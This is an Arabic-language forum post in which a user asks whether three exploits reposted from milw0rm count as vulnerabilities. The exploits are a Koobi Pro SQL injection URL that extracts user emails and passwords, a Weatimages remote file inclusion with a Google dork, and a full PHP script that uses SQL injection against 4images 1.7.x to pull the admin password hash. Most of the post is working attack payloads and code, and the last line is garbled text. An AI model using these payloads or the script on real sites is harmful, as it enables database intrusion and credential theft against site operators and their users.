السلام عليكم
اخواني انا دخلت موقع الميل ورم ادور على الثغرات في هدا السكريبت images
لكن طلعت هده
سؤالي هل هي ثغرة في الاوبرا او ماذا :a23:
[PHP]#########################################
#
# Koobi Pro V6.25 showimages (galid)
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?area"galid
#
###########################################
EXPLOiT :
index.php?area=1&p=gallery&action=showimages&galid =-1+union+select+0,concat(email,0x3a,pass),2+from+kp ro_user
###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################
# milw0rm.com [2008-04-08]/PHP]
المصدر
http://www.milw0rm.com/exploits/5414
ومادا تسمى هده ثغرة اومادا smilies2
[PHP]RFI Weatimages Hack
Script name : Weatimages
Script Download Adress:http://www.hotscripts.com/jump.php?listing_id=52592&jump_type=1
Demo site:http://www.nazarkin.name/projects/weatimages/demo/index.php?ini[langpack]=shelladress
Google Dork : inurl: index.php?ini[langpack]=
Author:Co-Sarper-Der
Contact:Sarperonline@gmail.com
Note:Thanx to ForeveRIslam
side note:
4. Installation
Unpack file "index.php" from this archive and upload it to separate directory (e.g. "photos/") on your web server.
In order to enable caching capabilities, you need to create the new directory named "weatimages-cache" in directory
with "index.php" and to set access rights 777 (rwxrwxrwx) to "weatimages-cache".
If you plan to customize configuration, upload "weatimages.ini" too.
If weatimages.ini was uploaded too then the product isn't vulnerable.
# milw0rm.com [2007-04-10]/PHP]
المصدر
http://www.milw0rm.com/exploits/3700
وهده اعتقد انها هي الثغرة صحيح:00001734[1]: sql
[PHP]#!/usr/bin/php
<?php
/*
4images 1.7.x Remote SQL Injection Vulnerability
Usage: php file.php [host] [path] [table prefix] [user id]
Googledork "powered by 4images 1.7.x"
Vulnerability: Disfigure
Research: h3llfyr3
Coding: Synsta.
PoC:
<target>/<4images_dir>/search.php?search_user=x%2527%20union%20select%20u ser_password%20from%204images_users%20where%20user _name=%2527ADMIN
[w4ck1ng] - w4ck1ng.com
*/
if(!$argv[3]){
die("Usage:
php $argv[0] [host] [path] [options] [table prefix] [user id]\n
Options:
-d: Determine table prefix\n
Example:
php $argv[0] domain.com /4images/ 4images_ 1
php $argv[0] domain.com /4images/ -d\n");
}
if(eregi("http://", $argv[1])){
die("Usage:
php $argv[0] [host] [path] [options] [table prefix] [user id]\n
Options:
-d: Determine table prefix\n
Example:
php $argv[0] domain.com /4images/ 4images_ 1
php $argv[0] domain.com /4images/ -d\n");
}
if($argv[3]=="-d"){
$pipe = fsockopen($argv[1],80);
if(!$pipe){
die("Cannot connect to host.");
} else {
$sql = "x%27";
$sql = urlencode($sql);
$req = "GET $argv[2]"."search.php?search_user="."$sql HTTP/1.1\r\n";
$req .= "Host: $argv[1]\r\n";
$req .= "Connection: Close\r\n\r\n";
fwrite($pipe , $req);
while(!feof($pipe)) {
$data .= fgets($pipe);
}
$gdata= explode("FROM ",$data);
$gtab = explode("WHERE ",$gdata[1]);
$tab = trim($gtab[0]);
$tab = str_replace("users","",$tab);
if(eregi("<br />", $page)){ die("Failed.."); }else{ die("Table Prefix: $tab\n"); }
}
}
if($argv[4]){
$pipe = fsockopen($argv[1],80);
if(!$pipe){
die("Cannot connect to host.");
} else {
$sql = "x%27%20union%20select%20user_password%20from%20". "$argv[3]"."users%20where%20user_id%3D%27$argv[4]";
$sql = urlencode($sql);
$req = "GET $argv[2]"."search.php?search_user="."$sql HTTP/1.1\r\n";
$req .= "Host: $argv[1]\r\n";
$req .= "Connection: Close\r\n\r\n";
fwrite($pipe , $req);
while(!feof($pipe)) {
$data .= fgets($pipe);
}
$gdata = explode("Unknown column '",$data);
$ghash = explode("' in 'where clause'",$gdata[1]);
$hash = $ghash[0];
if(strlen($hash) != 32){ die("Exploit failed..\n"); }else{ echo "Outputted Hash: $hash\n"; }
}
}
?>
# milw0rm.com [2006-10-08]/PHP]
المصدر
http://www.milw0rm.com/exploits/2487
اتمنى منكم افدتي ببعض المعلوما ارجوووووووووووووووووكم :a09::a09::a09::a09::a09:
Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC lshu]m lk t/g;l td til adx ,hp] fgddddddddddddd.